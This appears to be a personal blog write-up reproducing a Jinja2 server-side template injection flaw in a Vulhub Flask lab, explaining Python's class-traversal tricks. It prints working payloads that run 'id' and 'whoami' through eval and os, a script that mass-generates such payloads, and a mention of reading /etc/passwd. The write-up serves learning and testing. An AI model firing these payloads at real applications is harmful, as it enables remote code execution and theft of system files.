During an interview with a security company, I was asked about the SSTI vulnerability. At the time, I hadnât studied it yet, so I decided to take some time to analyze it now. In this analysis, Iâll use the environment provided by Vulhub to reproduce the issue. SSTI, or Server-Side Template Injection, occurs due to improper coding by developers, allowing user input to alter the execution logic of server-side templates. This can lead to vulnerabilities such as XSS, arbitrary file reading, and even code execution.
First, modify the configuration file to change the port and enable Docker. Youâll see that the `src` directory contains only one file, `app.py`. Letâs directly examine the code in `app.py` as follows:
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/")def index(): name = request.args.get('name','guest') t = Template("Hello " + name)return t.render() if __name__ =="__main__": app.run()
Even if you havenât learned Flask, a Python web framework, you can spot the issue just from this code. The `name` parameter is passed via the URL, defaulting to `guest` if no value is provided. Here, `t = Template(âHello â + name)` directly concatenates the parameter without any filtering.
Before analyzing the vulnerability, letâs understand some basic concepts. The code also uses another library called Jinja2.
Jinja2 is a Python-based template engine that fully supports Unicode and has an integrated sandbox execution environment. It is widely used. In development, template engines like Jinja2 are often used to decouple front-end and back-end development by simplifying front-end data presentation syntax with tags. These tags are rendered by the template engine into standard programming language syntax, which is then executed by the language interpreter to display the data.
Flask renders Jinja2 templates. Essentially, a Jinja2 template is an HTML file with special annotations for data interaction. This enables front-end and back-end MVC (Model-View-Controller) separation, which enhances maintainability.
A template engine is a program that interprets and renders the syntax of templates. Most mainstream programming frameworks have their own template engines. For example, PHPâs ThinkPHP framework and Pythonâs Django framework. Some excellent third-party template engines, like PHPâs Twig, are also available. Jinja2 is the supported template engine for Flask.
Letâs first make a request without passing any parameters.
Without passing a value for `name`, it returns the default value. What happens if we pass an XSS payload?

Thereâs no filtering, and the input is directly executed on the front end.
Since this is template injection, what makes it different? By directly using user input as template content, we can control the template. Our input is rendered by the Jinja2 template engine. For example, inputting `{{6*6}}`:

The template string we provided is parsed and evaluated by the engine. Hereâs a reference to some payloads found online:
{% for c in[].__class__.__base__.__subclasses__() %}{% if c.__name__ =='catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ =={}.__class__ %}{% if'eval'in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()')}}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
This payload essentially executes the `id` command.

Why does command execution succeed? Letâs analyze it briefly.
`[]`, `{}`, and `ââ` are built-in Python variables. By leveraging the attributes or functions of these built-in variables, we can access the object inheritance tree in the current Python environment. This allows us to traverse the inheritance tree to the root object class. Using functions like `__subclasses__()`, we can access every object and execute arbitrary code in the current Python environment.
Letâs use this payload as an example and analyze how it achieves code execution. Since the payload is combined with template code, Iâll convert it back into Python for clarity. Iâve made some changes, replacing `popen` with the `system` function for simplicity:
for c in[].__class__.__base__.__subclasses__(): if c.__name__ =='catch_warnings': for b in c.__init__.__globals__.values(): if b.__class__ =={}.__class__ : if'eval'in b.keys(): b['eval']('__import__("os").system("whoami")')
Letâs see the execution result:

As shown, without explicitly importing the `os` module, we leveraged built-in variables to traverse the inheritance tree to the root object class. From there, we accessed the `builtins` module, which contains many built-in functions like `eval`. Using these functions, we dynamically loaded the `os` module as a string and executed commands.
Now that we understand the overall approach, letâs briefly discuss Pythonâs magic methods.
__class__
: Returns the type of the calling parameter. __base__
: Returns the base class. __mro__
: Allows us to trace the inheritance tree in the current Python environment. __subclasses__()
: Returns subclasses.

Here, I used the `str` class for demonstration. Other Python data types can also be used. While `__mro__` can be used, `__base__` is more straightforward.
In Jinja2, the method to access the base class is as follows:
''.__class__.__mro__[-1]{}.__class__.__base__ ().__class__.__base__ [].__class__.__base__
Letâs analyze the code line by line:

Of course, there are many exploitable classes, so the payload author arbitrarily chose a class named `catch_warnings`. Why are some classes in the above image not exploitable, such as â?
# A wrapper indicates that these functions havenât been overridden. In this case, they are not `function` objects and lack the `__globals__` attribute.
For example, calling `eval` in this way for printing:

Additionally, Iâve seen scripts written by other experts that generate payloads in bulk based on this principle. They are quite impressive.
from flask import Flask from jinja2 import Template # Some of special names searchList =['__init__',"__new__",'__del__','__repr__','__str__','__bytes__','__format__','__lt__','__le__','__eq__','__ne__','__gt__','__ge__','__hash__','__bool__','__getattr__','__getattribute__','__setattr__','__dir__','__delattr__','__get__','__set__','__delete__','__call__',"__instancecheck__",'__subclasscheck__','__len__','__length_hint__','__missing__','__getitem__','__setitem__','__iter__','__delitem__','__reversed__','__contains__','__add__','__sub__','__mul__'] neededFunction =['eval','open','exec'] pay =int(input("Payload?[1|0]")) for index, i in enumerate({}.__class__.__base__.__subclasses__()): for attr in searchList: if hasattr(i, attr): if eval('str(i.'+attr+')[1:9]')=='function': for goal in neededFunction: if(eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')): if pay !=1: print(i.__name__,":", attr, goal) else: print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
I tested it myself and found it to work quite well.

Next, letâs test the payload in our vulnerability environment to read /etc/passwd
.

Additionally, this also involves SSTI WAF bypass techniques. I believe this is more about researching the vulnerability itself, and there are many resources online, so I wonât elaborate further here.
Summary:
I think the SSTI vulnerability has a very clever exploitation approach. When modules cannot be directly imported, it leverages Pythonâs basic data types and magic methods to traverse from a class to its parent class and then to other subclasses, ultimately achieving the goal through an indirect method. Coming up with such an approach requires a solid programming foundation, a deep understanding of classes, and a creative application of these concepts!